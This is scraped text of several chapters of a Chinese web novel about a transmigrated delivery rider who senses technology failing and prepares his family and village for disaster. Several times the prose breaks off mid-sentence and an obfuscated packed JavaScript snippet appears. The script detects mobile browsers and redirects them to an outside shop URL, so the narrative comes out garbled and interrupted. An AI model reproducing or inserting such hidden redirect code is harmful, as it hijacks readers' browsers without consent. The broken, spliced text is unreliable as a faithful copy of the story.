烧烤店的老板听见动静连忙上前劝阻,几个挺着啤酒肚的男人却好似听不懂人话,对着阻拦的人推推嚷嚷,伸手要去抓女生。 贺隽夏眉头一皱,见情况不对立刻打电话报警,把手里刚接的三个单子全部转让出去。 他改变方向驶向事故发生地,靠近后将小电驴停在附近的非机动车专用车道上,从外卖保温箱里取出自己的防身武器,一个可伸缩防身电棍。 除此之外,他的口袋里还有把伸缩美工刀,总能捅死人的那种。 这是贺隽夏从自己的死亡里得来的教训——无论何时身上都要带点防身工具。 他把电棍塞进宽大的衣袖,快步走上前查看情况,所幸女生被烧烤店的老板护着,没啥事,就是被吓得不轻。 几个闹事的男人不肯罢休,吐出满是酒气的污言秽语,骂骂咧咧地举起酒瓶子砸向女生。 “小娘皮子,给脸不要脸,让你陪兄弟几个喝点酒还调子高起来了。” 酒瓶子在地上炸开,变成无数碎屑四处飞溅,周围看热闹的人都被吓了一跳,生怕闹出肢体冲突,默默往后退了几步。 贺隽夏是唯一一个反其道行之的人。 他趁机挤进拥挤的人群,和烧烤店的老板老板娘一起将女生挡得严严实实,连她的衣角都没露出来。 男人看见他的外套嘲骂道:“你个送外卖的冲什么英雄,滚一边去,信不信老子弄死你。” 呦呵,口气还挺大。 贺隽夏乐:“我已经报警了,想弄死我跟警察说去,他们有的是时间和你闹。” 说话的男人瞪着铜铃大的眼睛:“小片警算个屁,出去打听打听老子是谁。” 贺隽夏:…… 所以你是谁? 贺隽夏这么想,也这么问了出来。 男人:…… 男人骄傲道:“警察局局长是我舅,你说我是谁。” 哦豁,异界版的我爸是李刚。 贺隽夏好奇地打量男人,以前都是在网上看蠢货,第一次在现实里见,他还有点新奇。 贺隽夏:“哦,你是他外甥。” 他用平静地语气回道,似乎根本没把男人的话放在心上,用实际行动表明了自己的立场。 几个嚣张的男人却觉得贺隽夏好像怕了他们,语言和动作都更加肆无忌惮。他们走上前动手动脚,试图把挡在女生面前的三人扒拉走。 贺隽夏眉头紧皱,他抽出袖子里的电棍转身对女生道:“会开电动车不,我车在那边,钥匙就插在上面,你先走远点。” 女生已经被吓懵了,过了几秒才反应过来,撒开腿就跑,骑上贺隽夏的小电驴消失在道路尽头。 几个男人看着女生骑车离开的背影,更加觉得丢面子,又因为追不上女生,直接把气全撒在阻拦他们的三人身上。 贺隽夏冷笑一声抽出电棍,霎时间,刺眼的灯光直直地射向四人的眼睛。 四人被晃得眼被迫停下动作。 贺隽夏:“来试试是你们的肉硬,还是我的电棍硬?” 看着电棍上闪烁的蓝紫色电弧,几个解酒耍疯的男人好似瞬间清醒,你推我我推你,没一个人敢上前。 贺隽夏对此毫不意外。 毕竟他们砸酒瓶子都只敢往最好欺负的女生脚边砸。 “热闹”的场面瞬间安静下来,几个男人指着拍视频的围观群众骂骂咧咧:“拍什么拍,老子让你拍了吗?” 一个人作势上前要抢手机,围观群众才不怕他们,指着道路尽头闪烁的灯光道:“警察来了。” 一阵凉凉的夜风吹过,露出肚皮的四个男人打了个哆嗦,大脑彻底清醒,转身就要逃跑。 但人再快也快过四个轮子? 加上还有刚才被指着鼻子骂的热心群众帮忙,没一会,一辆电动车和一辆警车靠近,警车上下来两个警察,了解了情况后就把闹事的四个男人带上警车。 几分钟前还大言不惭的男人温顺得像只兔子,规规矩矩地上了警车,一点也不像喝醉酒,有个局长舅舅的样子。 贺隽夏啧了一声。 作为报警人的他也要去派出所做笔录。 女生推着小电驴上前,眼眶红红的,声音还有些抖道:“帅哥,谢谢你啊。” 贺隽夏摇头:“没事。” 女生看着他身上的外卖服,更是内疚道:“对不起,给你添麻烦了。” 外卖员风里来雨里去,赚的就是时间钱,折腾这么久肯定耽误了对方不少时间,会他被扣钱吧。 女生手忙脚乱地从包里翻出手机:“我,我们加个好友吧。” 她想给这位好心的男生转点钱,弥补一下对方的损失,也感谢他挺身而出帮助自己。 或许他们还可以认识一下。 “如果你想谢我,就把你的烧烤送给我吧。”贺隽夏眨眨眼睛:“我好久没吃烧烤了。” 明亮的灯光下,青年俊朗秀气的脸庞好似被笼上一层朦胧的光晕,女生的心跳猛地加快,不自觉地将手里打包好的烧烤递了过去。 贺隽夏接过烧烤冲她摆摆手:“早点回家。” 黑色的小电驴跟着七座的警车后越来越远,女生抬起手机,录下两辆车逐渐消失的背影。 按理说她也应该去做笔录,只是来的两位警察叔叔都没有提这件事,只让她早点回家,别让家里人担心。 女生转头看向烧烤店的两位老板和其他帮忙不让酒疯男逃跑的群众,有小情侣,有一家人,他们都在帮她。 老板娘看着女生红通通的眼睛,安抚道:“大妹子,没事了,别怕啊,来,今天我请大家吃烧烤。” 女生笑道:“我来请吧,谢谢大家刚才帮我。” 这个世界有坏人,有比坏人更多的好人,谢谢你们。 …… 某人嘴里的局长舅舅只存在于口头上,被带进派出所后便哭天喊地求放过不想被拘留,要是让不知情的人瞧见还以为他们才是报案人。 贺隽夏懒得看,做完笔录就走了。 他随便找了个台阶坐下吃烧烤,不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺隽夏身上的外卖服给了环卫工人一些安全感和亲近感——深夜的外卖员和环卫工都只是为生计奔波的普通人。 她被迫接过烧烤后,放下手里的饭盒,从皱巴巴的白色塑料袋里拿出两个老式法饼递给贺隽夏。 贺隽夏也不推拒,接过法饼撕开包装,夹着一串肥瘦相间的烤羊肉大口大口地吃起来。 “好吃!” 环卫工人满是皱纹的脸上露出一丝笑容。 两个人坐在一起,也没聊天,就这样静静地吃完了一顿饭。 不过临走前贺隽夏给一饭之交的环卫工人透了点消息,编谎话说某某大型蔬菜基地遭灾,某某地粮食歉收,可以多买点米面放家里,再过不久这些东西就会涨价。 她信也好,不信也好,贺隽夏说完就骑上小电驴跑没影了。 “嘶啦嘶啦。” 就在贺隽夏拐弯驶入某条街道后,这条街上的路灯突然开始不规则地闪烁,像眼里进了沙尘后不停眨眼的人类,最后彻底闭上眼睛陷入黑暗。 四周黑漆漆一片,贺隽夏心觉不对,下意识扭动车把手加速,试图尽快离开这条黑漆漆的街道。 然而他的电动车和手机在这一刻都成了废铁,没有给出任何反应 不仅如此,道路两旁的高楼大厦也全部暗下,任由月亮掌控城市的夜色。 又停电了? 但他的电动车明明还有一半的电,手机也不应该变成一块砖头。 看着黑漆漆的环境,贺隽夏咽了咽口水,欲哭无泪。 灾难不会和灵异事件相关吧,要命了,他最怕的就是鬼怪之类的灵异生物。 贺隽夏把电棍握在手里,内心后悔不已,早知道他就老老实实地待在家里,哪也不去。 “滋啦滋啦” 一瞬间,路灯亮了起来,电动车亮了起来,手机也亮了起来。 贺隽夏试着扭动把手,电动车立刻向前急冲,快速冲出这条街道。 街道尽头的十字路口灯火通明,车水马龙,是一片祥和的景象,仿佛刚才的黑暗不曾存在。 “艹,怎么搞的,老子上个月才买的车就坏了?” 暴躁的声音飘出车窗,片刻后,一个脖子上纹着青龙的男人走下车,用力打开车前的引擎盖。 贺隽夏静静地看着他操作,又抬头看向天空,看向这座钢铁城市,心里生出一个更加恐怖的猜想。 也许出问题的不是能源,而是人类的科技造物。 5. 第 5 章 黑屏的手机,失效的液化气罐、突然停止的水电气和无故停止工作的电动车…… 这些东西初看没有任何联系,仿佛只是一个巧合,但将它们所属的范围扩大再扩大,就回发现它们都属于人类的科技造物,是现代化社会的产物。 贺隽夏的脸色瞬间沉了下来。 要知道B市常住人口近千万,每日消耗瓜果蔬菜等高达数万吨,多亏运输行业发展迅速,科技改变社会,B市居民才能正常生活。 而一旦所有现代化产物停止运转,辉煌绚烂的千万人口大都市将立刻化为泡沫,居住在城市里的人会沦为笼中困兽,自相残杀,直至彻底死亡。 贺隽夏猛地打了个寒战,脑海里混乱复杂的思绪渐渐变成一句鲜明的指示:离开B市。 他回到出租屋快速整理自己的囤货。 一部分体积较重和不易携带的物品,如大米、面粉、食用油,刀具、电动车等直接放弃带走,摆个地摊便宜卖掉;便于携带的罐头、方便面、固体酒精等用快递寄回去;剩下的水果糖巧克力饼干等,则带上高铁人肉带回家。 就是可惜了自己辛苦找来的砍骨刀。 贺隽夏摸了摸锋利的刀刃,用整齐叠好的衣物和巧克力糖果等零食把床底下的24寸行李箱塞满,一丝缝隙都没留下。 时间来到凌晨12点。 贺隽夏洗完澡,随便用干毛巾擦了擦头发,就躺上床闭着眼睛准备睡觉。 但不知是太紧张还是太焦虑,他满脑子在思考未来两年如何生活,以至于两个小时过去了,他还是毫无睡意。 贺隽夏:…… 不知过去多久,睡意终于袭来,贺隽夏放松身体,任由自己沉沉地睡去。 …… 晨光破晓,旭日东升,温柔的朝阳唤醒了休憩的城市,唤醒了沉睡的人群。 贺隽夏顶着两个巨大的卫士黑眼圈刷牙洗漱,眼睛半睁未睁,一看就是熬了个大夜。 “咕噜咕噜。” 他低头吐掉嘴里的漱口水,开火烧水,丢面拆调料包。一连串的操作后,麻麻辣辣的香气四处飘散,又很快被抽油烟机吸走。 贺隽夏抽空按了下手机,一连串的消息提示音随之响起,有的来自官方新闻报,有的来自爱夸张吸人眼球的民间小报。 只是这回无一例外的报道的都是同一个消息:由C市飞往H市的Q4569飞机坠毁,机上包括6名机组成员和112位乘客在内的118人全部死亡。而在Q4569飞机坠毁后的两小时内,国外也陆续有三架飞机坠毁,总死亡人数超过500人。 更诡异地是,另外三架来自不同国家不同地区的飞机出事时的飞行高度变化,竟然与Q4569近乎一致。 贺隽夏心情沉重。 即使他不是这个世界的人,也很难不为逝去的生命感到痛惜。 贺隽夏点进热搜词条,在这条引爆了世界各地的惊天消息里,无数人正试图分析飞机失事的原因。 目前的主流猜想是某种情况导致飞机在高空中失去了动力,但因为有四架飞机在同一天同一高度出事,各种玄学磁场学也被拉入了战场。 贺隽夏关掉手机开始吃面。 空难的出现更加坚定了他对灾难的猜想,只可惜时空管理局明令禁止任务者提前向小世界人员透露灾难的存在(隐晦诱导不算) 吃完面才六点半,贺隽夏把带不回去又能卖的东西全都卖了,要寄回去的东西也送到了快递员手上。 可惜他现在租住的公寓是免押金入住,不然还能多拿一笔押金钱。 转租的事情贺隽夏也想过,只是时间太紧,找不到合适的对象,就干脆就把房间留着,说不定以后能有用。 做完这一切,贺隽夏打车前往B市火车站候车。 他买的是最早的那趟火车票,是绿皮火车,12:35出发,20:24才能到C市。 不是贺隽夏不想坐高铁快点回去,只是从B市到C市只有一趟直达的火车,其他高铁方案都需要转车。 转车麻烦,变数也多,而且坐车和等车的时间加起来与直达的绿皮火车相差无几,他没必要乱折腾。 至于飞机,贺隽夏就没考虑过。 他提着大包小包登上火车,哪怕明天才开始为期三天的小长假,车上也热闹不已,坐满了返乡的人,几乎没有空位。 不过热闹和他无关。 贺隽夏买的卧票,加钱定了下铺,相较于拥挤嘈杂的坐票,卧铺车厢里空空荡荡,只有零星几人。 贺隽夏给自己的位置换上准备好的一次性床上四件套。几分钟后火车门关闭,绿皮火车哐当哐当地驶出站点,不时轻轻地摇晃。 贺隽夏打了个哈欠。 熬夜的后遗症涌入身体,他躺在床上随着火车的摇摇晃晃缓缓闭上眼睛,不知不觉间进入了梦乡。 “啤酒饮料矿泉水,花生瓜子八宝粥,先生,麻烦您把腿收一下。” 贺隽夏在他的叫卖声中醒来,他看了眼小车上的东西道:“泡面多少钱?” “七块” 乘务员将一盒桶装泡面递给贺隽夏:“要不要加个火腿肠卤鸡蛋?” 贺隽夏摇摇头。 他在原生世界的火车上买过火腿肠,三元一根,吃起来比面粉还像面粉,深谙糊弄学。 贺隽夏边拆泡面边看手机上的消息,他竟然睡了两个多小时,现在已经快三点了。 睡觉的这段时间没有大事发生,热搜第一条还是和飞机失事有关,不过昨天晚上几个醉酒男闹事的视频被人发在网上引起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有手机又睡不着,聊天就成了众人缓解无聊的重要手段,卧铺车厢也不能免俗。 贺隽夏随大流参与进去,说自己送外卖时遇到的那些诡异情况,将话题带往他需要的方向。不一会儿,他就得到了一个重要信息——纯脚踏式的自行车和三轮车可以在所有通行工具都被迫停摆时使用。 时间一晃而过 六点了 正常情况下距离行程结束只有两个多小时,问题是他们还被困在这处荒郊野岭,没办法给家里打电话报平安不说,连上厕所都成了麻烦事。 聊天声几乎被抱怨声掩盖。 贺隽夏也懒得唠嗑了,回到自己的位置上,从背包里摸出几个小面包垫肚子,快速思考现状。 像这种长距离的路程,大部分人都会买一些零食带着,火车里也有一定的食物储备,暂时不用担心食物。 但时间一久,食物总会消耗完,上千号人的日常饮食就是一个不可忽略的大问题。 贺隽夏抿了抿唇。 只希望这回能像前面几次那样是小打小闹。 6. 第 6 章 幸运的是贺隽夏的希望成真了。 手机黑屏的第五个小时,一切恢复了正常,火车摇摇晃晃地驶向目的地。 凌晨三点,火车终于到达C市,贺隽夏还没走出车站,他就看见了等在大门口的贺成材。 这个皮肤黝黑,脊背佝偻的男人等在出站口,目光在人群里来回寻找,视线与他对上的一瞬间,满是皱纹的脸上瞬间露出高兴的笑容。 贺隽夏走上前:“我们回去吧。” 他实在做不到对一个陌生男人叫爸,哪怕他的眼里充满了关怀和喜悦。 贺成材没有注意儿子隐去了对自己的称呼,他伸手自然地要接过儿子手里的行李箱和几个塑料袋。 贺隽夏下意识躲了躲:“没事,我自己提。” “我来。” 贺成材强行接过手里的东西,这些东西少说有七八十斤,他提起来却像个没事人。 贺成材走在前面,贺隽夏落在后面。 他看着男人略显消瘦的背影,眼睫颤了颤,心里有点不是滋味。 贺隽夏跟着贺成材来到一辆半封闭的三轮车旁,看着他两只手同时用力,便将行李箱和塑料袋放进三轮车的后车厢。 贺隽夏将背上压红了肩膀的背包也丢了上去。 电动三轮车启动,汇入不远处的车流,跟某些接到乘客的黑车司机一起慢慢驶出火车站,驾向远方的万家灯火。 贺成材问道:“你妈今天念叨了你一整天,杀了鸡杀了鱼,还买了牛肉,就等你回来吃,结果你们火车晚点,给她气坏了。” 贺隽夏笑笑:“现在吃也可以。” 贺成材乐呵道:“好啊,你妈肯定高兴。” 小三轮一路突突突地驶回家,黑漆漆的田野里,一栋老旧的小平房亮得过分显眼,仿佛海上指引方向的灯塔,照亮游子归乡的路。 一个满脸沟壑的中年妇女欢喜地迎上前:“回来了,饿了没,家里饭菜都热着。” 贺隽夏犹豫地下车。 他看着眼前陌生的女人和陌生的楼房,默默在心里给自己打了把气,扬起脸笑道:“好啊,我一定要好好尝尝。” 一个十六七岁的女孩探出脑袋,打了个大大的哈欠,高兴道:“哥,你终于回来了。” 曾秀平转头:“行了,你快回去睡吧。” 贺隽秋笑嘻嘻:“我不,我要和我哥聊天。” 她跑上前热情地帮贺隽夏搬行李,结果行李没搬着,还踉跄了一下差点摔倒。 曾秀平无奈:“都是大姑娘了,走路也不知道当心点,等会儿摔了有你痛的。” “行了行了,都进屋去,有事等会说。” 贺隽夏推着行李朝记忆里“自己”的房间走去。 房间很宽,估摸有二十个平方,地面干干净净没有灰尘,床上的枕头被子都泛着阳光的气息,一看就是被人很用心地提前打扫过。 贺隽夏放下东西出门,客厅的桌上已经盛好了饭饭,菜肴热气腾腾,油亮金黄的鸡汤香气诱人,弥漫着家的气息。 “我说哥,你愣着干什么,不认识你家了,快来吃呀,这可是你妹亲手盛的饭呢。” 贺隽秋咕咚咕咚喝了一大口鸡汤,朝曾秀平竖起大拇指:“咱妈的手艺,就是没话说。” 曾秀平:“吃宵夜都堵不住你的嘴。” 贺隽夏坐下来拿起属于自己的那份碗筷,有些拘谨地开始夹菜。 贺隽秋狐疑地盯着他:“哥,几个月不见,你居然变斯文了。” “嘿嘿嘿,让我猜猜,是不是交女朋友啦?” 女孩眼里闪烁着好奇和探究的光芒,贺成材和曾秀平也期待地看向他。 贺隽夏:…… 贺隽夏眯起眼睛:“你月考考了多少名?” 贺隽秋瞬间收回好奇的眼神安静如鸡,曾秀平语气一变,骂骂咧咧道:“她英语就考了六十分,我都不知道怎么说她了。” “刚好你回来了,有空给你妹妹辅导一下吧,不然我怕她连专科都考不上。” 贺隽秋瞥了瞥嘴,忍不住为自己辩解:“那是因为学校的广播播英语听力的时候突然坏了。” 贺隽夏微笑:“你们年级英语最高分是多少?” 贺隽秋气呼呼地瞪了他一眼,曾秀平替她回道:“135。” 贺隽秋小声:“人家是大神,我们凡人怎么能比?” 曾秀平眼睛一瞪。 为了避免家庭矛盾,贺隽夏连忙转移话题道:“我有一件重要的事要和你们说。” 其他三人顿时安静下来等他说话。 贺隽夏将他在B市和火车上遇见的诡异情况说了出来,皱着眉头道:“我觉得很不对劲,有点不安心,我想多买点粮食放在家里。” 他既然决定回来避难,就得做好带“全家人”活下去的准备。四个人吃两年,可比一个人吃两年需要的食物多得多,他寄回来的东西远远不够。 贺隽秋似乎随着他的话想到了某种不好的事情,一张小脸皱成橘子皮。 她左看右看,冲上前把大门关上,神秘兮兮道:“其实我也遇见了这种情况,就是我月考完的那天晚上……” “你们说神不神奇,大概过了半个小时,水电来了,这些东西也突然好了。” 贺隽夏:“只有你们寝室出现这种情况吗?” 贺隽秋抖了抖:“不是,后面我问了,我们一栋楼都那样,有人说是很久以前跳楼的那个学姐在……” “爸妈,哥,你们说世界上不会真的有鬼吧。” 说到最后两字时,贺隽秋无限压低声音,神秘兮兮的样子弄得贺隽夏心里也毛毛的。 别问他一个医学生为什么怕鬼,没见医院里的医生护士都不爱吃芒果火龙果吗。 曾秀平和贺成材有些不知所措。 贺隽秋非常有讲故事的天赋,把停电后发生的事说的神乎其神,一波三折,搞得他们不信也信了几分。 贺隽夏适时拿出手机给两人看火车故障新闻下的评论,这次不止他所在的火车发生故障,还有那条铁路周边的几个县城都出了问题。 虽然大部分亲身经历者的评论都被删除,但还是留下了一些遗迹,楼中楼里有人嘻嘻哈哈地说末世要到来了,还有人说自己工作的工厂最近突然开始两班倒,机器一天24小时工作不停歇。 问题是他在这家工厂工作了六七年,从没见过这种情况,而且上个月工厂还嫌效益低准备裁员。 这条评论下好些人附和,说自己工作的厂子也出现了相同的情况,不知道老板在发什么疯。 曾秀平喃喃:“那咋办啊,好不容易过上几年好日子,就又出现这种情况。” 贺隽夏叹了口气:“我就是担心才想着多买些粮食放在家里,有东西吃总归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730924|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿不死。” 曾秀平:“对对对,是要多买点吃的放家里,不然以后可咋办。” 别看他们住在农村,但村里早就没人种粮食了。种那玩意儿不赚钱还费时费力,没有种菜种水果划算。 现在村里人都是买米吃。 过了好一会,曾秀平开口道:“你是大学生,见识多,我们都听你的。” 她起身从柜子里翻出几个存折本。 “家里有五万块存款,有三万是你平时打给家里的钱,剩下两万是我和你爸攒的,你拿四万去,剩下的一万是你妹的学费和生活费。” 贺隽夏心里松了口气。 他道:“好,对了,爸妈,这件事跟村里人说一下吧。” 贺是贺家村的大姓,村里人或多或少都沾亲带故。他之所以选择回来就是因为有这种宗族因素在,等灾难降临,贺姓人可以互帮互助。 如果不把消息散出去将村里人拉上船,万一到时候只他们家有粮食就糟了。 曾秀平和贺成材没有他想得那么深,大家乡里乡亲几十年,出了这种事,总归要说一声,不能藏着掖着。 曾秀平喃喃:“得给你姑打个电话,你还不知道吧,小凤她又怀了,你说这种情况可咋办啊。” 姑? 贺隽夏翻找脑海里的记忆,很快就找到一张对应的人脸。 这位姑姑是贺成材的亲妹妹贺成凤,今年三十,只比“贺隽夏”大六岁。 贺成材的母亲老蚌生珠生下贺成凤,只可惜没多久她便因病去世,两年后,贺成材的父亲因意外事故离世。 彼时贺成材20岁,贺成凤才5岁,曾秀平18岁,新婚的小夫妻就这样被迫担起了照顾五岁孩子的责任。 真要算起来贺成凤才是曾秀平夫妻的第一个孩子。 好竹出好笋。 贺成凤发达后也没忘记哥嫂的恩情。逢年过节如果不能回来看看,就会寄很多礼物回来,贺家四口人人有份,贺隽夏和贺隽秋过生日也会收到她的大额红包。 要不是曾秀平夫妇舍不得女儿离家太远,也不想影响妹妹一家的生活,贺成凤还打算把贺隽秋转到市里读高中。 曾秀平紧张道:“我现在就给她打。” 贺成材拦住她:“早上再打吧,这么晚了,外面的店都关门了,打电话把人吵醒也不是个事。” 曾秀平:“对对对,小凤还怀着孩子呢。” 贺成材叹了口气:“先去睡吧,小夏,六点了我就带你去村长家,咱们把情况告诉村里人。” 贺隽夏点点头。 贺隽秋突然道:“哥,我明天和你一起去县里吧。” 贺隽夏摇头:“不用,你在家里待着,外面不安全。” 贺隽秋眼睛转了转:“好吧,哥,那能不能再买点你去年过年带回来的蛋黄酥,那个好吃。” 贺隽夏不明白贺隽秋怎么突然说起蛋黄酥,他翻了翻记忆,疑惑道:“蛋黄酥是姑姑买的,你忘了,你还让我在网上找同款,找到了又嫌太贵,不然我买。” 贺隽秋嘿嘿一笑:“我忘记了嘛,睡觉了,拜拜。” 贺隽夏无奈笑笑。 贺隽秋的性格和他的表妹很像,古灵精怪,活泼可爱,让他总是忍不住幻视。 贺隽夏回到自己的卧室坐下,大脑突然回过味来。 刚才贺隽秋是在试探他? 7. 第 7 章 他应该通过试探了吧? 贺隽夏被自己的猜测惊出一身冷汗。想起贺隽秋离开时的笑容,他有点不确定。 按理说,“家人”对“他”的印象和记忆,都由时空管理局根据任务者本人的性格和为人处世设定,不应该被“家人”察觉。 贺隽夏眉头紧皱,不停地回忆自己在何家的一举一动,尤其是与贺隽秋的相处。 到底是哪里出了问题? 如果不找出问题根源,后面迟早会出乱子,他可不想被认定为鸠占鹊巢的孤魂野鬼。 如此思来想去反复回忆,贺隽夏总算发现了一些问题。 先前他从网上给家里买了大量水果罐头、肉罐头、压缩饼干和药品等物品时,应该就让贺隽秋产生了一定的疑惑。 如今灾难初显证明他不是胡乱买东西,他回家后又没有叫过一声爸妈,则进一步加深了贺隽秋的怀疑,所以她才会出言试探。 ——贺隽秋不仅性格与他表妹相似,一些爱好习惯也差不多,比如她们都喜欢看小说。 初高中又正是天马行空爱幻想的年纪她对穿越重生的接受度,比成年人更高,甚至隐隐相信非科学因素的存在。 贺隽夏觉得贺隽秋不会轻易放弃。 他揉了揉额头,果然不能小瞧任务世界里的任何一个人。谁能想到看起来活泼可爱像小表妹的贺隽秋竟然有这么细腻的心思。 贺隽夏深吸一口气,必须尽快打消贺隽秋的怀疑,不然后果不妙。 不说这件事被曾秀平和贺成材知道后他的下场,就是时空管理局的评分标准里,也有30分属于人设符合度。 如果连扮演自己都会被发现,怕不是第一个任务刚结束,他就被时空管理局踢进原生世界的轮回道投去了,还复活个屁。 贺隽夏一夜未眠。 早上六点他出门洗漱,眼睑下的两个黑眼圈愈发显眼,活像小说里被妖怪吸走精气的倒霉书生。 不过他凌晨三点多才回来,这幅明显没休息好的模样倒不会让人奇怪。 贺隽秋躺在沙发上玩手机,看见他抬起头道:“爸妈还没醒,我煮了面,一会就好。” 贺隽夏皱眉:“不要,我自己蒸馒头。” 他小时候跟着爷爷奶奶生活,两位老人爱吃面,一天三顿都离不了面条,吃到最后贺隽夏看见面条就想吐。 而千层馒头则恰好相反。 他跟着父母去某北方城市旅游吃过一次后顿时惊为天人,喜欢上了这种厚实馒头并奉为此生挚爱,百吃不腻。 这些明显的特征都被时空管理局加入进了“家人”对他的印象,贺隽秋是在用面条试探他。 说完贺隽夏从冰箱冷冻室的最下层取了两个沉甸甸千层馒头走进厨房。 片刻后 “贺隽秋,你不是蒸了馒头吗?” 贺隽夏把两个硬邦邦的千层馒头原路送回冰箱。 贺隽秋打了个大大的哈欠:“没睡醒,脑子有点昏,我忘了。” 贺隽夏:“吃完面就回去睡觉,家里的事不用你操心,有我们在呢,别怕。” 贺隽秋点点头:“我要回房间补觉,厨房的面给爸妈吃,哥,你去县里买东西记得帮我买几箱卫生巾回来,安睡裤也要。” 贺隽夏:“我晓得。” 他忍不住念叨:“你放假就在村里玩,多背几个英语单词,别偷偷去太远的地方,万一出现特殊情况,找你都没办法找。” 贺隽秋捂住耳朵:“知道了,哥——” 她忙不迭地跑回房间把门关上,客厅顿时安静下来,贺隽夏知道这一关过了。 虽然大部分男性都不太好意思买这种女性用品,但时空管理局设定的“贺隽夏”是个例外。 贺隽秋第一次来生理期是六年级的暑假,那时候曾秀平和贺成材在外面做零工,她哭着跟“贺隽夏”说自己得了大病要死了,让贺隽夏把爸爸妈妈叫回来。 “贺隽夏”当时被吓得不轻,问清楚情况后红着脸去村口的小卖部买了卫生巾回来。 后面贺隽秋来生理期总是疼得厉害,还去了好几次医院,贺隽夏就对这件事上了心。 有次新闻曝出某品牌卫生巾抽检质量不合格的事,而那个牌子恰好是贺隽秋常用的卫生巾牌子,价格比较便宜,颇受经济困难的女生欢迎。 得知这件事后,“贺隽夏”强行让贺隽秋换了一个贵一些的卫生巾品牌,偷偷用自己的零花钱补贴她。 再后来“贺隽夏”从班上女同学的聊天里得知安睡裤的存在,不顾女同学震惊的目光要链接,买了一大箱安睡裤寄回家。 不仅如此他还出去做家教,隔三差五还给贺隽秋一些零花钱,让她别买那些质量差的衣服裤子,买点好东西吃。 在生活小事上,贺隽夏简直比曾秀平和贺成材这对亲生父母,还像贺隽秋的亲爹亲妈。 倒不是说曾秀平和贺成材就不关心贺隽秋。 只是他们是地地道道的农民,以种田为生,平时打些零工,赚不了多少钱,又要供三个小孩上学,整日都在为柴米油盐奔波,哪里有空注意孩子吃喝拉撒那点小事。 也就是贺成凤和“贺隽夏”相继毕业工作后,家里的情况才渐渐好起来,让贺隽秋的周生活费涨到150。 无数鲜活的记忆片段在脑海里闪过,贺隽夏不由得感慨时空管理局AI设定部门的厉害,根据他的性格就能设定出这么一个鲜活的人设。 不过“贺隽夏”未免也太好了吧。 贺隽夏挠挠头,总觉得作为独生子的自己不像会这么关心别人的人。 …… “啊呜” 好吃好吃好吃 贺隽夏两边的腮帮子都鼓了起来,眼睛享受地眯成一条缝,满脑子都是好吃两个字。 两个巴掌大的千层馒头蘸上油辣椒和酸菜,一咬一大口,没一会儿就被他吃得干干净净。 吃完馒头缓了缓,贺隽夏又端起热好的鸡汤,让口腔和胃袋都无比满足。 吃饱了。 曾秀平和贺成材推开卧室门走出来,贺隽夏告诉他们厨房里有贺隽秋煮好的面条。 曾秀平:?! 贺成材:?! 夫妻俩还是第一次见贺隽秋起这么早。 曾秀平左右看了看:“小秋人呢?” 贺隽夏吃得太撑被迫在客厅里散步,闻言笑道:“睡觉去了。” 因为心里装着事,曾秀平没吃几口就迫不及待地给贺成凤打去电话,贺成材则大口吃面,三两下把一海碗面吃得干干净净,连汤都不剩。 他道:“走,我们去你三爷家。” 三爷就是贺家村的老村长,今年六十五,在村里很有威望,村里人都比较信服他。 两人找到老村长说明情况,贺隽夏拿出自己准备了一晚上的各类不同寻常的新闻报道及评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730925|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论总结,成功取得了村长的信任。 老村长家的几个年轻子孙不太相信,总觉得贺隽夏在骗人,但老村长相信,他们也无可奈何。 在以贺姓为主的贺家村里,老村长的号召力很强,或许年轻人没感觉,但他们父母爷奶对老村长很是信服。 没过多久各家各户就来了人。 老村长抽了口旱烟开始发言,贺隽夏当全方位“证据”展示版。 底下的村民们议论纷纷,有的人信,有的人不信,只觉得贺隽夏装神弄鬼骗人。 有个年轻小子甚至指着贺隽夏破口大骂,骂完掉头就走,让场面很是尴尬。 村民们毫不掩饰自己看热闹的心,目光在贺隽夏和贺成材间游走,等待两人的反应。 可惜他们要失望了。 贺隽夏早有心理准备,完全不觉得尴尬,若无其事地继续下一个话题。 倒是贺成材的脸色变了变,站在自家儿子身旁,拍了拍他的肩膀,用实际行动支持他的行为。 贺隽夏短暂地愣了愣,心头一暖,嘴角翘起一抹弧度。 在老村长的大力支持下,一共有三十五户人家愿意买粮食,占贺家村的大部分人口。 他们不一定都相信贺隽夏的说话,但他们信任老村长,愿意跟着老村长的步子走。 用老村长的来说,现在粮食便宜,买一袋米又花不了多少钱,多囤一点也没关系,总有吃完的一天。但如果真的有灾难降临,这些食物就是救命粮,不要舍不得那点小钱。 会议结束,人群各自分开,三三两两的人家约好一起出去买粮食,少有立刻出发的人。 而贺隽夏和贺成材已经骑上了电动三轮车。 